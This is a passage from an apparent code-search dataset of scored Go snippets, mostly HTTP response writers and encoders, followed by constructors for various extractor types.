interface{}) {\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(status)\n\t_ = json.NewEncoder(w).Encode(payload)\n}", "title": "" }, { "docid": "ac28ec1826a0e94dd4a924799c3d307f", "score": "0.6244742", "text": "func (o *SubscriptionInfoOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "838e9860f4462e889388d279eaaa5171", "score": "0.62437546", "text": "func (o *GetUniverseStructuresStructureIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "43434ee71a3e83bccafe78697d5208cc", "score": "0.6238987", "text": "func (o *GetTokensTokenIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2f77dc37b18af5a562e7bd434022aeb4", "score": "0.62388426", "text": "func (o *GetMarketsPricesOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetMarketsPricesOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "706d87d99b0af3a93cc40255f9c9e280", "score": "0.62356657", "text": "func (o *CreateAuthorizationV1SelfSubjectAccessReviewOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a181444bbc5226360c788f53191776bf", "score": "0.62320715", "text": "func WriteResponse(w http.ResponseWriter, code int, data interface{}) {\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\terr := json.NewEncoder(w).Encode(data)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "4556479e4959e995c50cafcbb31224b2", "score": "0.62307966", "text": "func (o *GetUniverseGraphicsGraphicIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f098356672078ab6b06581a6f298b256", "score": "0.6229654", "text": "func WriteResponse(w http.ResponseWriter, response Response) (err merry.Error) {\n\tdefer errorx.CapturePanic(&err, \"panic in response serializer\")\n\n\tfor k, vs := range response.Headers() {\n\t\tw.Header()[k] = vs\n\t}\n\tfor k := range response.Trailers() {\n\t\tw.Header().Add(\"Trailer\", k)\n\t}\n\n\tw.WriteHeader(response.StatusCode())\n\n\terr = response.Serialize(w)\n\n\tfor k, vs := range response.Trailers() {\n\t\tw.Header()[k] = vs\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f83638112ae0f20965b8840d6f5175ca", "score": "0.6228497", "text": "func encodePlainResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\tresp := response.(Response)\n\n\tw.Header().Add(\"Content-type\", \"text/plain\")\n\n\t_, err := fmt.Fprint(w, resp.Result)\n\treturn err\n}", "title": "" }, { "docid": "552745903341a1e06bdb5535305ce229", "score": "0.62267417", "text": "func (o *GetCharactersCharacterIDIndustryJobsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetCharactersCharacterIDIndustryJobsOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "f9d0c4552f598ce08c6042e25561e2c4", "score": "0.6222352", "text": "func (o *GetCorporationsCorporationIDIconsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3273cceb8ae9575c7e8ab2208f4727ef", "score": "0.62220496", "text": "func (t *getSomeElseDataUtf8Transport) EncodeResponse(ctx *fasthttp.RequestCtx, r *fasthttp.Response, cool v1.Detail, nothing v1.Namespace, id *string) (err error) {\n\n\tr.Header.Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\tvar theResponse getSomeElseDataUtf8Response\n\n\ttheResponse.Cool = cool\n\n\ttheResponse.ID = id\n\n\ttheResponse.Nothing = nothing\n\n\tbody, err := theResponse.MarshalJSON()\n\tif err != nil {\n\t\terr = t.encodeJSONErrorCreator(err)\n\t\treturn\n\t}\n\tr.SetBody(body)\n\n\tr.Header.SetStatusCode(http.StatusOK)\n\treturn\n}", "title": "" }, { "docid": "536eb7141770eed5e14e5b92d3db22da", "score": "0.62213975", "text": "func (o *PutResourceTypesIDOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "58e36fde770024463094c02b050a1a71", "score": "0.6219117", "text": "func (o *GetRepositoryStatsInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "10b81c6c57850af5176fac08f19452d6", "score": "0.6215114", "text": "func encodeResponse(response interface{}) []byte {\n\tvar bytesBuffer bytes.Buffer\n\tbytesBuffer.WriteString(xml.Header)\n\te := xml.NewEncoder(&bytesBuffer)\n\te.Encode(response)\n\treturn bytesBuffer.Bytes()\n}", "title": "" }, { "docid": "d8ac356e19899d97ffca6e32dc1b0022", "score": "0.6214359", "text": "func encodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\t// Set JSON type\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\n\t// Check error\n\tif e, ok := response.(errorer); ok {\n\t\t// This is a errorer class, now check for error\n\t\tif err := e.error(); err != nil {\n\t\t\tencodeError(ctx, e.error(), w)\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t// cast to dataHolder to get Data, otherwise just encode the resposne\n\tif holder, ok := response.(dataHolder); ok {\n\t\treturn json.NewEncoder(w).Encode(holder.getData())\n\t} else {\n\t\treturn json.NewEncoder(w).Encode(response)\n\t}\n}", "title": "" }, { "docid": "c339d7f7a2c857e84e8aebb201b8b10c", "score": "0.62089944", "text": "func (o *BookWriteOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "3c655629c3c23bbeb1b264449cc147f8", "score": "0.62076527", "text": "func (o *GetWarsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make([]int32, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "d1b6ae033fe1f6517e9b8059b614945f", "score": "0.62051547", "text": "func (o *SetStationInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "13264deb8b4817a3e3883bbc1e95dc6e", "score": "0.62001806", "text": "func EncodeResponse(f *Frame, streamId uint32, flags uint16, metadata, data []byte) *Frame {\n\tresponse.Encode(&f.Buf, streamId, flags, metadata, data)\n\treturn f\n}", "title": "" }, { "docid": "06992665edea7d8f59f95106dbd90f5c", "score": "0.6198047", "text": "func (o *ResourceInfoOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b395a34cca91cb11bf9489aaf5f60021", "score": "0.6194835", "text": "func (o *SubscriptionInfoDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "2faa1b49150784f4833e5307b4c24485", "score": "0.61907643", "text": "func (s *Server) EncodeResponse(id uint64, resp interface{}, e error) (Response, error) {\n\tv, err := json.Marshal(&resp)\n\tif err != nil {\n\t\treturn Response{}, err\n\t}\n\tif e != nil {\n\t\treturn Response{ID: id, Result: nil, Error: e.Error()}, nil\n\t}\n\traw := json.RawMessage{}\n\tif err = raw.UnmarshalJSON(v); err != nil {\n\t\treturn Response{}, err\n\t}\n\treturn Response{ID: id, Result: &raw}, nil\n}", "title": "" }, { "docid": "a2fa082a8ca76eb3e3f18e5d3ad3a19c", "score": "0.61902165", "text": "func (o *CreateSITExtensionInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "968f1412bfda210ecb28a8fd0545b005", "score": "0.61878747", "text": "func (o *GetPerformancesIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a1fc63ad76c614fa6d0f615e627a4e9f", "score": "0.61842424", "text": "func writeResponse(w http.ResponseWriter, res Response) {\n\tif res.Error != nil {\n\t\tlog.Error(w, res.Error)\n\t}\n\n\tif res.Certificate != nil {\n\t\tapi.LogCertificate(w, res.Certificate)\n\t}\n\n\tw.Header().Set(\"Content-Type\", contentHeader(res))\n\t_, _ = w.Write(res.Data)\n}", "title": "" }, { "docid": "1d1ef6c2878806b5f576ea76ec416ef2", "score": "0.6183761", "text": "func encodeResponse(resp *plugin.CodeGeneratorResponse, w io.Writer) {\n\tif resp == nil {\n\t\treturn\n\t}\n\n\toutBytes, err := proto.Marshal(resp)\n\tif err != nil {\n\t\tlog.Fatal(\"unable to marshal response to protobuf: \" + err.Error())\n\t}\n\n\tif _, err := w.Write(outBytes); err != nil {\n\t\tlog.Fatal(\"unable to write protobuf to stdout: \" + err.Error())\n\t}\n}", "title": "" }, { "docid": "e193d89e7a7edba6f68563e88d4721ff", "score": "0.61818683", "text": "func (o *GetRepositoryStatsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "75514908ed5fe210d784d0c796a92760", "score": "0.6180958", "text": "func (o *GetCharactersCharacterIDMailOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetCharactersCharacterIDMailOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "0ac244ae6e27ec27131d774c7ff18e91", "score": "0.6178445", "text": "func (o *WatchStorageV1beta1CSINodeOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d9eb416a32f30429b6068d59ce32846a", "score": "0.6175645", "text": "func encodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\treturn json.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "d6ed16adbe85ca3e4a19e984601b7ae1", "score": "0.6174639", "text": "func (o *GetSpeakersDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(o._statusCode)\n}", "title": "" }, { "docid": "7fe34b65dbc7fede09b774157afb9bf7", "score": "0.6172776", "text": "func encodeResponse(response interface{}) []byte {\n\tvar bytesBuffer bytes.Buffer\n\tbytesBuffer.WriteString(xml.Header)\n\tencode := xml.NewEncoder(&bytesBuffer)\n\tencode.Encode(response)\n\treturn bytesBuffer.Bytes()\n}", "title": "" }, { "docid": "933980fcd4cca7a05ba44ec3625878ca", "score": "0.61722076", "text": "func (e *Endpoint) Encoder() kithttp.EncodeResponseFunc {\n\treturn func(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\t\tendpointResponse := response.(Response)\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t//w.WriteHeader(http.StatusOK)\n\n\t\treturn json.NewEncoder(w).Encode(endpointResponse)\n\t}\n}", "title": "" }, { "docid": "d03533aee6759f7dde2042128cfa3cb6", "score": "0.6171677", "text": "func (o *PutComposersIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(200)\n}", "title": "" }, { "docid": "af4fdd054fbca021b8da9e864223aa23", "score": "0.617097", "text": "func (o *PutFleetsFleetIDWingsWingIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "95d8729386a309190e44085aaa61ef54", "score": "0.617089", "text": "func (o *GetOrganizationByIDV1OK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "93d0277f2d879a56598b7a20040d0f32", "score": "0.6167915", "text": "func (r *RESP) Encode(w *bufio.Writer) (err error) {\n\treturn r.encode(w)\n}", "title": "" }, { "docid": "3f027960fcdc536e4d817649443e1303", "score": "0.6167698", "text": "func WriteResponse(response http.ResponseWriter, defaultStatusCode int, v interface{}) {\n\tif h, ok := v.(headerer); ok {\n\t\tfor name, values := range h.Headers() {\n\t\t\tfor _, value := range values {\n\t\t\t\tresponse.Header().Add(name, value)\n\t\t\t}\n\t\t}\n\t}\n\n\tstatus := defaultStatusCode\n\tif s, ok := v.(statusCoder); ok {\n\t\tstatus = s.StatusCode()\n\t}\n\n\tresponse.WriteHeader(status)\n}", "title": "" }, { "docid": "90811d329d539c117d531be762318d12", "score": "0.616553", "text": "func EncodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\treturn json.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "eb6c577dc1bcf7998fa28cb485d3769f", "score": "0.6165017", "text": "func (r *FileResponder) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\trw.Header().Set(\"Content-Type\", r.contType)\n\trw.Header().Set(\"Content-Length\", strconv.Itoa(len(r.content)))\n\trw.Header().Set(\"Content-Disposition\", `attachment; filename=\"`+r.name+`\"`)\n\trw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\trw.Header().Set(\"Access-Control-Allow-Methods\", \"POST, PUT, GET, OPTIONS, DELETE\")\n\trw.Header().Set(\"Access-Control-Allow-Headers\", \"X-Api-Key, Content-Type\")\n\n\trw.WriteHeader(http.StatusOK)\n\n\tif _, err := rw.Write(r.content); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "cbc108cca39e1d640e53c53d9d058d0a", "score": "0.61642325", "text": "func EncodeResponse(c context.Context, response interface{}) (interface{}, error) {\n\treturn response, nil\n}", "title": "" }, { "docid": "e8abf3fd1262e99c2c0f90bcf50dbf94", "score": "0.61596435", "text": "func (o *PutResourceTypesIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "79ff3d913734fa426b986dcb5ab69b5c", "score": "0.6157329", "text": "func (o *GetIndexSourceIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e48b0b1c13e72a0e706ae96de4701b11", "score": "0.61564267", "text": "func (o *RegisterCalbackOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "40f8c2116e3818b04c0ad911fbfde8af", "score": "0.61534077", "text": "func (o *PostDataSomeKeyPathOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n}", "title": "" } ]
139dd538a0e3522d683db7fe012f5b7d
newExtractor initializes state for extraction
[ { "docid": "2947d3351af7688b2cc86927b136bbcf", "score": "0.6711573", "text": "func newExtractor(functionsToCheck []string) (*state, error) {\n\tfuncs := make(map[funcType]struct{})\n\tfs := stack.New()\n\n\tfor _, t := range functionsToCheck {\n\t\t// Functions must be of the form \"package.function\"\n\t\tt2 := strings.Split(t, \".\")\n\t\tif len(t2) < 2 {\n\t\t\treturn nil, errors.Errorf(\"invalid function string %s. Needs package name as well\", t)\n\t\t}\n\t\tf := funcType{\n\t\t\tpack: t2[0],\n\t\t\tname: t2[1],\n\t\t}\n\t\tfuncs[f] = struct{}{}\n\t\tfs.Push(f)\n\t}\n\n\treturn &state{\n\t\tfuncs: funcs,\n\t\tfs: fs,\n\t\ttranslations: make(map[string]interface{}),\n\t}, nil\n}", "title": "" } ]
[ { "docid": "97b5cd4392d1ad4ff4530faae2886176", "score": "0.68528044", "text": "func New() types.Extractor {\n\treturn &extractor{}\n}", "title": "" }, { "docid": "97b5cd4392d1ad4ff4530faae2886176", "score": "0.68528044", "text": "func New() types.Extractor {\n\treturn &extractor{}\n}", "title": "" }, { "docid": "63ecede3bfc189370453db660e89195a", "score": "0.6614814", "text": "func NewExtractor(repo Repository, wp *WorkerPool, log *logrus.Logger) *Extractor {\n\treturn &Extractor{\n\t\trepo: repo,\n\t\twp: wp,\n\t\tlog: log,\n\t}\n}", "title": "" }, { "docid": "63720ce92aaefde58f7bc161392fe5a1", "score": "0.6579042", "text": "func NewExtractor(c *Config) *Extractor {\n\tcwd, _ := os.Getwd()\n\tb := &Extractor{\n\t\troot: c.Root,\n\t\tcwd: cwd,\n\t\tpaths: c.Paths,\n\t\tpkgName: c.PkgName,\n\t\tmodule: c.Module,\n\t\tenumMode: c.EnumMode,\n\t\tfileCache: map[string]result{},\n\t\timports: map[string]*build.Instance{},\n\t}\n\n\tif b.root == \"\" {\n\t\tb.root = b.cwd\n\t}\n\n\treturn b\n}", "title": "" }, { "docid": "7930d541c767a0d3e7aae124c2733a9b", "score": "0.64130515", "text": "func (extractor *packagesExtractor) new(dependenciesSource string, log utils.Log) (Extractor, error) {\n\tnewExtractor := &packagesExtractor{allDependencies: map[string]*buildinfo.Dependency{}, childrenMap: map[string][]string{}}\n\tpackagesConfig, err := newExtractor.loadPackagesConfig(dependenciesSource)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tglobalPackagesCache, err := newExtractor.getGlobalPackagesCache()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = newExtractor.extract(packagesConfig, globalPackagesCache, log)\n\treturn newExtractor, err\n}", "title": "" }, { "docid": "aab0774e51b14965c1d32c2f65b34be7", "score": "0.63269687", "text": "func NewExtractor(fileName string) Extractor {\n\textractor := Extractor{\n\t\tfileName: fileName,\n\t}\n\treturn extractor\n}", "title": "" }, { "docid": "5fc7632558aa8c61d360ee909f0d5a9d", "score": "0.6236855", "text": "func NewExtractor(strictTypes bool, techniques ...techniques.Technique) Extractor {\n\td := Extractor{\n\t\t[]string{\"images\", \"urls\", \"feeds\", \"videos\"},\n\t\t[]string{\"titles\", \"descriptions\"},\n\t\tstrictTypes,\n\t\ttechniques,\n\t}\n\n\treturn d\n}", "title": "" }, { "docid": "2d1adc49845b04635c3d255d2f97bbd9", "score": "0.6235392", "text": "func NewExtractor(r io.ReaderAt, size int64, dir string) (archive.Extractor, error) {\n\treturn &extractor{r: r, size: size, dir: dir}, nil\n}", "title": "" }, { "docid": "0d58053d1f549b31710420863ce14965", "score": "0.6128711", "text": "func NewExtractor(useString bool, objType string) *Method {\n\tres := &Method{\n\t\tobjType: objType,\n\t\tname: \"Extract\",\n\t\tparams: \"line \" + RightType(useString),\n\t\tresType: ExtractorResult{},\n\t\tbody: &Body{},\n\t\tuseString: useString,\n\t}\n\treturn res\n}", "title": "" }, { "docid": "2349cb737d04331d68904cf197c0a4ee", "score": "0.5966966", "text": "func NewExtractor(providers []*jwtauthnv3.JwtProvider) Extractor {\n\textractor := &extractor{\n\t\theaderLocations: make(map[string]*HeaderLocationSpec),\n\t\tparamLocations: make(map[string]*ParamLocationSpec),\n\t}\n\textractor.addProviders(providers)\n\treturn extractor\n}", "title": "" }, { "docid": "8bb5d7fa7d84bc41ccfa37dd2d7638ca", "score": "0.5913521", "text": "func New(r io.Reader) *Extractor {\n\tz := html.NewTokenizer(r)\n\treturn &Extractor{z: z}\n}", "title": "" }, { "docid": "a8ba130ca39b0a51b61d068b064b35a6", "score": "0.58791107", "text": "func NewExtract(key, regExpr string, reset bool, required bool) *Extract {\n\treturn &Extract{\n\t\tRegExpr: regExpr,\n\t\tKey: key,\n\t\tReset: reset,\n\t\tRequired: required,\n\t}\n}", "title": "" }, { "docid": "fb0d38c9234531e6c66ad667fa78865b", "score": "0.5814129", "text": "func init() {\n\tif err := extractor.Catalog.Register(\"github\", func() core.Extractor {\n\t\treturn &Extractor{\n\t\t\tlogger: plugins.Log,\n\t\t}\n\t}); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "32eb8a2760827dece839c27fb916e0cf", "score": "0.5610002", "text": "func New() types.Extractor {\n\treturn &extractor{\n\t\tclient: &youtube.Client{},\n\t}\n}", "title": "" }, { "docid": "68d9d05427d36211be8d9600fd0c5466", "score": "0.53632843", "text": "func (s *BaseNuggetListener) EnterInitextract(ctx *InitextractContext) {}", "title": "" }, { "docid": "be1deb12cb2ff38a3e411fab8714d71e", "score": "0.5333378", "text": "func init() {\n\textractor.Register(&MyPlugin{})\n}", "title": "" }, { "docid": "e7a3f4380f8c369df9ef2a54af0e7134", "score": "0.52179915", "text": "func NewProcessor() *Processor {\n return registered_sources.NewProcessor()\n}", "title": "" }, { "docid": "082238af293327ac28cad8e1875482f1", "score": "0.5209012", "text": "func NewExtracts() Extracts {\n\treturn make([]*Extract, 0)\n}", "title": "" }, { "docid": "b9342e04e3447e3a59e7839866f529ee", "score": "0.5195197", "text": "func NewDefaultExtractor(src string) Extractor {\n\treturn DefaultExtractor{src}\n}", "title": "" }, { "docid": "89ead12ab0ca4aceb1033c0089d49623", "score": "0.5015464", "text": "func (e *extractor) Extract(ctx context.Context) error {\n\topts, err := getExtractorOptionsFromEnvironment()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\textractor, err := fastzip.NewExtractorFromReader(e.r, e.size, e.dir, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer extractor.Close()\n\n\treturn extractor.Extract(ctx)\n}", "title": "" }, { "docid": "d094f25c6f9464a316d3ba1b0aca9e35", "score": "0.4984707", "text": "func newTextObject(e *Extractor, resources *model.PdfPageResources, gs contentstream.GraphicsState,\n\tstate *textState, savedStates *stateStack) *textObject {\n\treturn &textObject{\n\t\te: e,\n\t\tresources: resources,\n\t\tgs: gs,\n\t\tsavedStates: savedStates,\n\t\tstate: state,\n\t\ttm: transform.IdentityMatrix(),\n\t\ttlm: transform.IdentityMatrix(),\n\t}\n}", "title": "" }, { "docid": "da2e2d34f1864b3626d4058f532252cc", "score": "0.4960841", "text": "func NewPlanetaryExtractor(cfg *config.TemporalConfig) (*Extractor, error) {\n\tipfsAPI := fmt.Sprintf(\"%s:%s\", cfg.IPFS.APIConnection.Host, cfg.IPFS.APIConnection.Port)\n\tmanager, err := rtfs.Initialize(\"\", ipfsAPI)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Extractor{\n\t\tManager: manager,\n\t}, nil\n}", "title": "" }, { "docid": "6d8615ad1c49ad72df23fd5f2ebaae9c", "score": "0.49436793", "text": "func 